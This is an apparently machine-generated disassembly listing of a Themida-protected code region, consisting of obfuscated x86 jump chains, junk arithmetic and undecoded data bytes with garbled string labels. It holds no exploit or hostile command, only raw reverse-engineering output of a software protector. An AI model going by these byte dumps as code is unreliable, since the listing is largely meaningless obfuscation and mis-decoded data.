		dd 0D5E9243Ch, 0F70000F1h, 8DEF81DFh, 81F2FBB2h, 784257C1h
		dd 9D8AE94Ch, 0F7290000h, 0F743E9h, 0B5515200h,	0EA48E9A7h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553F7E:				; CODE XREF: Themida_:0055A1EBj
		mov	edi, 38776120h
		jmp	loc_5669BE
; ---------------------------------------------------------------------------

loc_553F88:				; CODE XREF: Themida_:00557E30j
		add	ebx, 0CAC74E8h
		push	ecx
		jmp	loc_5587CC
; ---------------------------------------------------------------------------
		dd 8B242C87h, 0EC812424h, 4, 9D85E9h
		db 0
; ---------------------------------------------------------------------------

loc_553FA5:				; CODE XREF: Themida_:00557784j
		xchg	edx, [esp]
		mov	esp, [esp]
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_55DB93
; ---------------------------------------------------------------------------
a_se7		db '_ИE7',0
		align 2
		dw 8B57h
		dd 0C481241Ch, 4, 58C3315Fh, 0ACEAE9h
		db 0
; ---------------------------------------------------------------------------

loc_553FD1:				; CODE XREF: Themida_:00557087j
		pop	esi
		pop	edx
		sub	edx, esi
		pop	esi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_562137
; ---------------------------------------------------------------------------

loc_553FE2:				; CODE XREF: Themida_:00554808j
		add	edx, edi
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]

loc_553FF1:				; CODE XREF: Themida_:00559892j
		push	6A83h
		mov	[esp], ebx
		jmp	loc_560EA6
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 37591C57h, 2678F281h, 0D6015A97h, 10157E9h
		db 0
; ---------------------------------------------------------------------------

loc_554011:				; CODE XREF: Themida_:00566698j
		pop	ebx
		or	edx, 76FD3C11h
		add	edx, 6D9A7DBBh
		or	ecx, edx
		mov	edx, [esp]
		jmp	loc_55EFFD
; ---------------------------------------------------------------------------
		dd 0E9240C87h, 26C2h, 89240C89h, 4C181E1h, 83000000h, 2C8904ECh
		dd 0AAB95124h, 0C112F83Ch, 494908E9h, 0DBD4B850h, 0C129D636h
		dd 52D9F758h, 6F96E9h
		db 0
; ---------------------------------------------------------------------------

loc_55405D:				; CODE XREF: Themida_:0055DD19j
		sub	eax, 9EC91D99h
		and	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	0
		jmp	loc_556B9F
; ---------------------------------------------------------------------------
		dd 4B850h, 48E90000h, 0B60000E2h, 0DEE8023h, 0C680EED0h
		dd 8BF02829h, 0C4832414h, 0FEA30C04h, 0E91724C0h, 10FE0h
; ---------------------------------------------------------------------------

loc_55409C:				; CODE XREF: Themida_:0055324Dj
		mov	ebx, eax
		pop	eax
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55370C
; ---------------------------------------------------------------------------

loc_5540AC:				; CODE XREF: Themida_:0055D1D2j
		mov	[esp], ebp
		jmp	loc_558C16
; ---------------------------------------------------------------------------
		dd 5204C483h, 1C12E957h, 0E9500000h, 10BDEh
; ---------------------------------------------------------------------------

loc_5540C4:				; CODE XREF: Themida_:0055A710j
		mov	edi, 2F2B0B2Ah
		jmp	loc_565975
; ---------------------------------------------------------------------------

loc_5540CE:				; CODE XREF: Themida_:00557071j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_554ACB
; ---------------------------------------------------------------------------
		db 29h
		dd 0A1C681DEh, 5B45774Bh, 8904EC83h, 2C812434h,	315E1D24h
		dd 0DB66E967h, 0EB810000h, 1, 50EDE9h
		db 0
; ---------------------------------------------------------------------------

loc_55412D:				; CODE XREF: Themida_:005610A8j
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 17FD7C5Ch
		sub	eax, 6AC0452Bh
		xor	eax, 4F1F76AAh
		sub	eax, 0E2224197h
		jmp	loc_56420F
; ---------------------------------------------------------------------------

loc_55414A:				; CODE XREF: Themida_:00564D4Cj
		add	eax, 0FFFFFFFFh
		push	3A8Fh
		mov	[esp], esi
		jmp	loc_553F0A
; ---------------------------------------------------------------------------
dword_55415C	dd 240C8B66h, 563768h, 0C4E9E900h ; DATA XREF: Themida_:00551378o
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55416A:				; CODE XREF: Themida_:00552E9Fj
		sub	bl, dh
		add	bl, 0C9h
		pop	edx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56299F
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C2h
		dd 4, 5204EA83h, 42474FFh, 1CD6E95Ah, 0C4830001h, 51DDF704h
		dd 3F324FB9h, 0BF575327h, 7A72768Bh, 0C71E781h,	0E7810660h
		dd 2CD60A98h, 4C5CC781h, 70E91872h, 5D000031h, 3526EE81h
		dd 51E928B7h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5541CB:				; CODE XREF: Themida_:00561C2Aj
		add	esp, 4
		jmp	loc_564783
; ---------------------------------------------------------------------------
aRusuo		db 'RUИ⌠o',0
		align 2

loc_5541DA:				; CODE XREF: Themida_:00551AD9j
		mov	esp, [esp]
		div	cx
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	edx
		push	1DD2h
		mov	[esp], esi
		jmp	loc_55D8B7
; ---------------------------------------------------------------------------
		db 5Fh,	88h, 30h
		dd 6F5E958h, 81590000h,	444519C3h, 68F3291Bh, 20Eh, 10878E9h
		dd 4DC38100h, 29030B7Ch, 4DEB81C3h, 0E9030B7Ch,	2B56h
		dd 80F0F380h, 0EBC0DFF3h, 8B91E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554236:				; CODE XREF: Themida_:0055DC0Aj
		pop	edi
		push	eax
		mov	eax, 584845ACh
		xor	eax, 30117075h
		add	edx, eax
		pop	eax
		add	eax, edx
		pop	edx
		push	eax
		add	dword ptr [esp], 759F6CEDh
		pop	edx
		jmp	loc_55A18F
; ---------------------------------------------------------------------------
word_554256	dw 8B66h		; DATA XREF: Themida_:00551314o
		dd 6DE92404h
		db 0FCh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55425F:				; CODE XREF: Themida_:00561712j
		add	ebp, 4
		jmp	loc_5568E2
; ---------------------------------------------------------------------------
		db 81h
		dd 25B78AEEh, 5EF589BFh, 60E9E829h, 4300011Ch, 400DE381h
		dd 0EB8103FFh, 87CFFE41h, 0DD8CE9h, 0E9CD2900h,	10320h
		dd 2BEE815Eh, 8B730A2Dh, 0C4832404h, 8BF52104h,	0C4832434h
		dd 6EDC104h, 1D7FBB53h,	0C3813803h, 7B2D020Fh, 0A531E9h
		dd 24048300h, 240C8B04h, 0E904C483h, 145h, 0A0398BBBh
		dd 78C38104h, 0C16ACD0Ch, 0EBC103E3h, 2847E906h
		db 1, 0
; ---------------------------------------------------------------------------

loc_5542DE:				; CODE XREF: Themida_:0055F044j
		push	2CDDh
		mov	[esp], eax
		mov	eax, 78BB64ECh
		sub	eax, 2DBE5DF1h
		jmp	loc_5620EE
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0F954E9h
		db 0
; ---------------------------------------------------------------------------

loc_5542FD:				; CODE XREF: Themida_:0055E43Aj
		pop	eax
		push	ecx
		mov	ecx, 3680303Ah
		add	ecx, 33BB27C2h
		sub	ecx, 1
		jmp	loc_563A84
; ---------------------------------------------------------------------------

loc_554315:				; CODE XREF: Themida_:00557816j
		pop	ebp
		pop	ecx
		pop	edi
		xor	ebp, 4A7C4BEBh
		xchg	ecx, ebp
		jmp	loc_5641B5
; ---------------------------------------------------------------------------

loc_554325:				; CODE XREF: Themida_:00553265j
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_560607
; ---------------------------------------------------------------------------
		db 33h
		dd 3B5C241Ch, 0B0E99CC8h, 0FFFFFFD1h, 0FFE92434h, 8BFFFFEFh
		dd 0C481240Ch, 4, 0FFD19AE9h, 63B850FFh, 0D3FBA6Ah, 0E823720h
		dd 0ABE7E9h, 4C78100h, 83000000h, 0FF5702C7h, 5F042474h
		dd 5C24048Fh, 24148B66h, 23E1E956h, 0C890001h, 0E9F98924h
		dd 86B2h
; ---------------------------------------------------------------------------

loc_554388:				; CODE XREF: Themida_:005537D0j
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_562946
; ---------------------------------------------------------------------------
		dd 0E1C0C1FEh, 4714E908h, 0E9580000h, 12047h
; ---------------------------------------------------------------------------

loc_5543A8:				; CODE XREF: Themida_:005595E8j
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebp
		push	edx
		mov	edx, 2422251h
		sub	edx, 242224Dh
		jmp	loc_55D621
; ---------------------------------------------------------------------------
		dd 4004C483h, 776B68h, 714FE900h, 0C3810000h, 78564005h
		dd 619FE9h, 0F7D7F700h,	20F781D7h, 1090848h, 8A6FE9FEh
		dd 48B0000h, 4C48124h, 0E9000000h, 2913h
; ---------------------------------------------------------------------------

loc_5543F8:				; CODE XREF: Themida_:00564342j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_563ED7
; ---------------------------------------------------------------------------

loc_554406:				; CODE XREF: Themida_:00563625j
		pop	edx
		pop	ebp
		jmp	loc_553397
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 52000000h, 78D8E9h, 0F4805B00h, 0F5C48064h, 887AEC80h
		dd 48B66E3h, 1235E924h,	0C2680000h, 89000037h, 8B542414h
		dd 78E92414h, 810000BEh, 4C2h, 4C28100h, 87000000h, 0E95C2414h
		dd 0FFFFD097h
; ---------------------------------------------------------------------------

loc_554454:				; CODE XREF: Themida_:0055D34Cj
		push	dword ptr [esp]
		pop	esi
		push	edx
		jmp	loc_561E61
; ---------------------------------------------------------------------------
		dw 0B151h
		dd 0FED1F651h, 3AE980C1h, 0E947F180h, 0F1CCh, 0E680E2B6h
		dd 39FCE9AFh, 0F7810000h, 0DF1698B4h, 3C8BF929h, 4C48324h
		dd 0BD55565Bh, 2DF870DBh, 78F27BEh, 8BEE01D2h, 0C483242Ch
		dd 0FFF10104h, 535E2434h, 6BE9E389h, 5E000082h,	0F67BF681h
		dd 0F0019BD0h, 5E2434FFh, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 0A074E9h, 0B2C78100h, 89DCB68Fh, 243C8BFEh, 12173E9h
		dd 24148B00h, 4C481h, 46E90000h, 28FFFFE9h, 0F0285AD0h
		dd 0E95AB004h, 908Eh, 61B1DC05h, 8BC13113h, 89522404h
		dd 4C281E2h, 56000000h,	93CAE9h
		db 0
; ---------------------------------------------------------------------------

loc_554511:				; CODE XREF: Themida_:00554D36j
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_565118
; ---------------------------------------------------------------------------

loc_55451B:				; CODE XREF: Themida_:0055C023j
		mov	ebp, 72766C5Dh
		add	ebp, 7024658Bh
		jmp	loc_563E4B
; ---------------------------------------------------------------------------
		db 21h
		dd 0BB535BDAh, 5642437Dh, 3EDAE381h, 0BF5774A5h, 264A37F7h
		dd 515FFB29h, 3F2034B9h, 49D9F760h, 8904EC83h, 0F9B82404h
		dd 0E912B56Fh, 2F94h, 0BD3BC7BEh, 6EEC132h, 0EEC1DEF7h
		dd 0F0C68104h, 0C17AE86Ch, 565705EEh, 0EA4EB6BEh, 0F639E97Ah
		dd 0CC88FFFFh, 1C71E9h,	24343300h, 0AC82E9h, 362C6800h
		dd 0C890000h, 132DE924h, 59540001h, 5B3D68h, 241C8900h
		dd 0B34451BBh, 55F3817Dh, 817DB344h, 0AE328EC1h, 0E9D9011Dh
		dd 0C63Ch
dword_5545BC	dd 33243C31h, 3C31243Ch, 0EDE95724h ; DATA XREF: Themida_:005512D8o
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5545CB:				; CODE XREF: Themida_:00555F50j
		sub	ebp, ecx
		add	ebp, 7C655979h
		pop	ecx
		push	7C69h
		jmp	loc_56284D
; ---------------------------------------------------------------------------

loc_5545DE:				; CODE XREF: Themida_:0056162Dj
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_5523E7
; ---------------------------------------------------------------------------
		dd 0C781C701h, 2A51545Ah, 4C78158h, 87000000h, 835C243Ch
		dd 0FF5202C2h, 5A042474h, 8B24048Fh, 24D32424h,	0D8E99C24h
		db 0CEh, 2 dup(0FFh)
byte_554613	db 8Fh			; DATA XREF: Themida_:005512F0o
		dd 0CED1E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55461A:				; CODE XREF: Themida_:00559531j
		pop	edx
		sub	edi, 3B7B4729h
		add	edi, 23DA05BBh
		sub	edi, ebx
		push	edx
		mov	edx, 35734C26h
		shr	edx, 5
		neg	edx
		add	edx, 2585A01Ch
		sub	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55A230
; ---------------------------------------------------------------------------
		dd 7EE9D029h, 5A000110h, 0ED80CDFEh, 0C0C5FE13h, 0F58006EDh
		dd 0B7B75385h, 52B7EF80h, 0E280C1B2h, 80C2FE2Bh, 0EA80D0C2h
		dd 5AD70032h, 0EF80C7FEh, 0EBAEE901h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55467E:				; CODE XREF: Themida_:005640EAj
		or	ebp, 73AF606Bh
		push	ebx
		jmp	loc_557292
; ---------------------------------------------------------------------------
		dw 0D101h
aU9Ba4Sqszd	db 'U╫ь|9[│М4<≥QИ┤└',0
		dd 608D6800h, 4890000h,	26A06824h, 92581152h, 2BE9D2F7h
		dd 54000031h, 5E2434FFh, 81E18951h, 4C1h, 4C18300h, 1C58E9h
		db 0
; ---------------------------------------------------------------------------

loc_5546C9:				; CODE XREF: Themida_:00552CC8j
		sub	ebx, 535C7BD2h
		sub	eax, ebx
		pop	ebx
		jmp	loc_553F38
; ---------------------------------------------------------------------------
		db 51h
		dd 81428BB9h, 59CE2941h, 3F39EF81h, 0F7017A76h,	3F39C781h
		dd 575E7A76h, 0FFEBE9h
		db 0
; ---------------------------------------------------------------------------

loc_5546F5:				; CODE XREF: Themida_:00564941j
		add	esi, 15BB14ABh
		add	edx, esi
		pop	esi
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_566588
; ---------------------------------------------------------------------------
		db 0B9h, 7Bh, 4Bh
		dd 0DFBB4920h, 0C12D4E06h, 0C38102E3h, 6F126BA8h, 0EE5BE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554726:				; CODE XREF: Themida_:00560F97j
		mov	ebx, [esp]
		add	esp, 4
		mov	[edi+eax*4+1], ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55CB5A
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 3085B4DDh, 53665BFCh, 0A9E9ACB3h, 8B00009Bh,	0C4812434h
		dd 4, 2739C681h, 0C601099Eh, 2739EE81h,	8758099Eh, 248B2434h
		dd 51A02D24h, 8AE96615h
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_554777:				; CODE XREF: Themida_:00556C22j
		push	eax
		jmp	loc_55E201
; ---------------------------------------------------------------------------

loc_55477D:				; CODE XREF: Themida_:00564D25j
		add	esp, 4
		jmp	loc_55E44A
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 6E089DC3h, 81C30102h, 6E089DEBh, 24048B02h
		dd 5304C483h, 42474FFh,	52241C8Bh, 2162E9h, 2474FF00h
		dd 48F5B04h, 24248B24h,	0CF5AE9h, 0E9E90100h, 0FFFFD61Dh
		dd 815AD089h, 1C0A4AE9h, 0E9C1010Ah, 0DCAEh
; ---------------------------------------------------------------------------

loc_5547D4:				; CODE XREF: Themida_:005637F3j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 400875DCh
		sub	edx, 0FFFFFFFFh
		or	edx, 2DAB1310h
		sub	edx, 1
		xor	edx, 6083AC3h
		and	ebp, edx
		pop	edx
		jmp	loc_552284
; ---------------------------------------------------------------------------

loc_5547FC:				; CODE XREF: Themida_:0055854Ej
		add	esp, 4
		xor	edi, 1F442819h
		jmp	loc_553FE2
; ---------------------------------------------------------------------------

loc_55480D:				; CODE XREF: Themida_:0055B788j
		push	4917h
		mov	[esp], ebx
		jmp	loc_560548
; ---------------------------------------------------------------------------
		dw 0D101h
		dd 74FF515Ah, 0E9590424h, 0FFFFE6ACh, 52242C89h, 0C281E289h
		dd 4, 1E4CE9h, 243C3300h, 12048E9h
		db 0
; ---------------------------------------------------------------------------

loc_554841:				; CODE XREF: Themida_:00565905j
		add	ecx, eax
		sub	ecx, 4F380B87h
		sub	ecx, 168519B9h
		jmp	loc_553441
; ---------------------------------------------------------------------------
aLsSl		db '╨▀≥|╧И╚╩',0
		align 2
		dw 8F5Ah
		dd 248B2404h, 48B6624h,	0E0895024h, 4BA52h, 0D92D0000h
		dd 1416B5Dh, 0C7FE9D0h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55487E:				; CODE XREF: Themida_:005563E4j
		pop	eax
		add	[esp+8], edi
		pop	edi
		mov	edi, [esp]
		add	esp, 4
		pop	ecx
		push	esi
		mov	esi, 4
		add	ecx, 2E132377h
		add	ecx, esi
		sub	ecx, 2E132377h
		pop	esi
		push	ebp
		jmp	loc_55EBA1
; ---------------------------------------------------------------------------
		db 0BBh, 11h, 0Ch
aHnseq		db 'HNИEО',0
		dw 100h
		dd 0C3358C1h, 240C3124h, 8B240C33h, 3E682424h, 8900001Bh
		dd 0E789243Ch, 427DBB53h, 0F3813B88h, 3B884279h, 10303E9h
		db 0
; ---------------------------------------------------------------------------

loc_5548DD:				; CODE XREF: Themida_:005557F4j
		push	esi
		jmp	loc_566B1B
; ---------------------------------------------------------------------------
		db 89h
		dd 0CFBF243Ch, 81014109h, 0BEF635C7h, 0C1E957FEh, 8B0000C1h
		dd 0C481240Ch, 4, 0CBE5E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554906:				; CODE XREF: Themida_:005650B1j
		push	ebp
		mov	ebp, 5E036277h
		dec	ebp
		jmp	loc_566C1F
; ---------------------------------------------------------------------------
		dw 835Dh
		dd 0C58104C4h, 4, 8302C583h, 2C8904ECh,	2474FF24h, 2434FF04h
		dd 0E954575Dh, 0C18h, 81D3F759h, 0FFFFFFC3h, 81D3F7FFh
		dd 1A01B2F3h, 5BD9296Ah, 17D5E181h, 0E9C12AD0h,	0BFC98107h
		dd 0E97B7F00h, 1232Dh, 2F0ABE56h, 0F50123FAh, 0C7EE9h
		dd 72E1BF00h, 0B6E946EEh, 8B00002Bh, 0C4812414h, 4, 0FFEBBEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554981:				; CODE XREF: Themida_:00560BD1j
		push	1186h
		mov	[esp], edx
		jmp	loc_55951C
; ---------------------------------------------------------------------------

loc_55498E:				; CODE XREF: Themida_:00551E21j
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56131A
; ---------------------------------------------------------------------------
		db 0BDh, 0DAh, 77h
		dd 0F5814907h, 490777DEh, 55DE801h, 4, 229BE9h,	0E9575300h
		dd 100BFh
; ---------------------------------------------------------------------------

loc_5549C4:				; CODE XREF: Themida_:00559BEEj
		push	ebx
		push	esi
		push	4B90706Fh
		pop	esi
		jmp	loc_55BD48
; ---------------------------------------------------------------------------
		db 1, 0F0h, 0E9h
		dd 86C0h, 89240C89h, 0D670E9E1h, 0EBD10000h, 50ADE9h, 32B85000h
		dd 35427301h, 8BC3640h,	5223C181h, 0C101347Dh, 5223E981h
		dd 48B347Dh, 4C48324h, 24148B5Bh, 8104C483h, 4E9h, 0BE3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554A1A:				; CODE XREF: Themida_:00556A6Cj
		xor	ecx, eax
		push	568Fh
		mov	[esp], eax
		push	ebx
		pop	eax
		pop	ebx
		push	1060h
		mov	[esp], ebx
		xor	[esp], edi
		jmp	loc_55C70E
; ---------------------------------------------------------------------------
		db 0B2h
		dd 0B6C28031h, 889AEA80h, 0D0045AD0h, 352C7B24h, 0C058C120h
		dd 0E18003E9h, 80D1F636h, 0C180FFE9h, 0B75350FFh, 0E9CFFE96h
		dd 0A3E3h, 0FFCA82E9h, 0EC8355FFh, 240C8904h, 942DAFB9h
		dd 0A3E9521Dh, 350000DDh, 7F9B26E0h, 6814355Ah,	39051ABAh
		dd 31F0D4CCh, 24048BC1h, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 0C855E981h, 0CF89CDB2h, 81240C8Bh, 4C4h, 2BE78100h
		dd 533ABD73h, 5E77F1BBh, 0E9DF210Fh, 635Bh, 0FBE9FE87h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_554ACB:				; CODE XREF: Themida_:00554102j
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_558653
; ---------------------------------------------------------------------------
		db 2Dh,	4, 0
		dd 4870000h, 24248B24h,	88B2E9h, 59CA8900h, 7EDE281h, 89E97A9Ah
		dd 810000DCh, 1D3C2DC7h, 0CFB8E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554B06:				; CODE XREF: Themida_:00562E49j
		jmp	loc_5514EB
; ---------------------------------------------------------------------------
aPsed		db 'PИe╓',0
		db 0
byte_554B11	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0055120Co
		dd 1858669Dh, 0E99C2404h, 0FFFFC9CBh
; ---------------------------------------------------------------------------

loc_554B20:				; CODE XREF: Themida_:0055343Cj
		add	edi, eax
		pop	eax
		jmp	loc_55D9BE
; ---------------------------------------------------------------------------

loc_554B28:				; CODE XREF: Themida_:0055D26Bj
		shl	ebx, 8
		add	ebx, 25315DD9h
		and	ebx, 389E3020h
		xor	ebx, 2EDB25A6h
		and	edi, ebx
		pop	ebx
		add	edi, 33A94968h
		sub	edi, 34B2890h
		add	edx, edi
		jmp	loc_558661
; ---------------------------------------------------------------------------
		db 59h
		dd 10479E9h, 0FFE95300h, 89FFFFF8h, 4EC83E0h, 0BF243C89h
		dd 4, 4BB9BA52h, 0EAC179A0h, 0FEC28107h, 813EF922h, 0FE7FBECAh
		dd 1420E90Ah, 34FF0001h, 48CEE924h, 4810000h, 4009A924h
		dd 24348B58h, 0D9DFE9h,	0B8E95D00h, 890000CAh, 240C8BCFh
		dd 4C481h, 0CF290000h, 0E6F9E959h, 0E959FFFFh, 0C7E4h
		dd 4EF835Ah, 4914E9h
		db 0
; ---------------------------------------------------------------------------

loc_554BC5:				; CODE XREF: Themida_:0055E0F0j
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esi
		push	ebx
		jmp	loc_564D1C
; ---------------------------------------------------------------------------
aXsf		db '╦',7,'\жXИ■у',0
		align 2

loc_554BE6:				; CODE XREF: Themida_:00558876j
		push	7FA64F7Ah
		pop	ecx
		jmp	loc_560810
; ---------------------------------------------------------------------------
		db 5Dh,	0C1h, 0E8h
		dd 0C3BD5508h, 0C13A6C31h, 0E5C104E5h, 0F0C58105h, 4D5F076Eh
		dd 3E67C581h, 0D5E9CA23h, 8BFFFFCEh, 24D22424h,	0CCE99C24h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554C1F:				; CODE XREF: Themida_:0056546Cj
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_557C13
; ---------------------------------------------------------------------------
aYbTSS3o	db 'Y│иы$╧TаИ',7,'И3O',0
		align 4

loc_554C3C:				; CODE XREF: Themida_:0055EE5Ej
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_565DD9
; ---------------------------------------------------------------------------
		dd 0E5C009B5h, 0BAE58003h, 8088B753h, 0FD2852EDh, 8B52C580h
		dd 0ADE9241Ch
		db 0EDh, 2 dup(0)
byte_554C7B	db 66h			; DATA XREF: Themida_:00551318o
		dd 0E924248Bh, 11627h
; ---------------------------------------------------------------------------

loc_554C84:				; CODE XREF: Themida_:0055BEBDj
		mov	ebp, edi
		pop	edi
		push	esi
		mov	esi, 32990EB6h
		jmp	loc_55FC07
; ---------------------------------------------------------------------------

loc_554C92:				; CODE XREF: Themida_:005592C5j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5647DD
; ---------------------------------------------------------------------------

loc_554C9D:				; CODE XREF: Themida_:0055B004j
		or	ebx, ebx
		jnz	loc_55EC26
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_551C04
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 87000000h, 0D4E9240Ch
		db 15h,	1, 0
; ---------------------------------------------------------------------------

loc_554CC7:				; CODE XREF: Themida_:0055D2FCj
		add	cl, ah
		pop	eax
		and	dl, cl
		pop	ecx
		sub	dl, 42h
		or	cl, dl
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	cl, 5Dh
		push	dx
		mov	dh, 0A0h
		add	al, dh
		pop	dx
		add	al, cl
		push	dx
		jmp	loc_555688
; ---------------------------------------------------------------------------
		db 32h,	64h, 24h
		dd 24643001h, 0F6DC8601h, 30DC30D3h, 30DC30E3h,	32012464h
		dd 30012464h, 0E9012464h, 8B20h
; ---------------------------------------------------------------------------

loc_554D10:				; CODE XREF: Themida_:00564514j
		xor	edi, 0DD1A8F58h
		sub	edx, edi
		pop	edi
		mov	edi, edx
		jmp	loc_551DB2
; ---------------------------------------------------------------------------

loc_554D20:				; CODE XREF: Themida_:00564A10j
		add	esp, 4
		add	esp, 4
		add	edi, 0F351FCB9h
		and	eax, edi
		mov	edi, [esp]
		push	0FBDh
		jmp	loc_554511
; ---------------------------------------------------------------------------
		db 89h
		dd 0B8502414h, 1E2F37B6h, 1BA5240h, 29000000h, 0E0C15AD0h
		dd 0B160E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554D56:				; CODE XREF: Themida_:00552DA2j
		push	ebx
		mov	ebx, 4
		sub	esi, 19C61FFFh
		sub	esi, ebx
		add	esi, 19C61FFFh
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_55C86B
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 0C8BC801h, 4C48324h, 664DE9h
		db 0
; ---------------------------------------------------------------------------

loc_554D89:				; CODE XREF: Themida_:0055FFA0j
		or	edx, 20DE099Eh
		or	edx, 6FB742DFh
		push	eax
		mov	eax, esp
		jmp	loc_559C86
; ---------------------------------------------------------------------------
		db 5Ch,	52h, 0E9h
		dd 0FFFFF6CCh
; ---------------------------------------------------------------------------

loc_554DA4:				; CODE XREF: Themida_:00556605j
		pop	esi
		push	ecx
		push	edx
		push	2CFD7077h
		pop	edx
		xor	edx, 337833A2h
		sub	edx, 1BCA0BFBh
		mov	ecx, edx
		pop	edx
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 270C7F7Bh
		and	edx, ebx
		pop	ebx
		not	edx
		jmp	loc_55305A
; ---------------------------------------------------------------------------

loc_554DD4:				; CODE XREF: Themida_:0055395Bj
		add	eax, 568A5DC9h
		add	eax, 367A394Ah
		jmp	loc_556D75
; ---------------------------------------------------------------------------

loc_554DE3:				; CODE XREF: Themida_:00562CE2j
		pop	ecx
		sub	eax, edi
		push	edx
		mov	edx, 586164B3h
		sub	eax, edx
		pop	edx
		mov	edi, [esp]
		jmp	loc_55B97C
; ---------------------------------------------------------------------------
aR8Fsss		db 'R╨8/гfИsХ',0
		align 2
		dw 0C483h
		dd 0E9565D04h, 0D95Ah, 1CBE5658h, 8172396Fh, 703EB0C6h
		dd 62E68121h, 5555983Fh, 0F76A7EBDh, 0F0CD8175h, 81060B18h
		dd 0B54F48E5h, 22C58122h, 11BCD9Bh, 0F6815DEEh,	220E6A71h
		dd 1250EE81h, 0E6C159E7h, 0FBAE904h, 0F8010001h, 0FFE6C0E9h
		dd 245401FFh, 348B5A04h, 4C48124h, 0E9000000h, 50A9h, 3AC7BB53h
		dd 0BE56167Bh, 64BD7200h, 4607EEC1h, 389BEE81h,	0F301F824h
		dd 95DCE95Eh, 8F660000h, 55662404h, 26866h, 1665D66h, 6602246Ch
		dd 51242C8Bh, 0BA525954h, 4, 7EE6BD55h,	0E9810359h, 6530AC4h
		dd 0C181E929h, 6530AC4h, 7BC1815Dh, 148692Ch, 7BE981D1h
		dd 5048692Ch, 597EE6B8h, 58C10103h, 2C1835Ah, 5C240C87h
		dd 0FFC60EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554EDD:				; CODE XREF: Themida_:00566D24j
		xor	ecx, ebp
		pop	ebp
		jmp	loc_564A15
; ---------------------------------------------------------------------------
		db 1, 44h, 24h
		dd 24448104h, 6C497C04h, 24048B25h, 0FF04C483h,	13E92434h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554EFF:				; CODE XREF: Themida_:00559402j
		push	ecx
		mov	ecx, 751F0D76h
		jmp	loc_556576
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 225A6518h, 354AF781h, 0F82938BAh, 243C8B5Fh,	4C481h
		dd 0EC830000h, 243C8904h, 8F507168h, 0DFF75F5Fh, 6098E9h
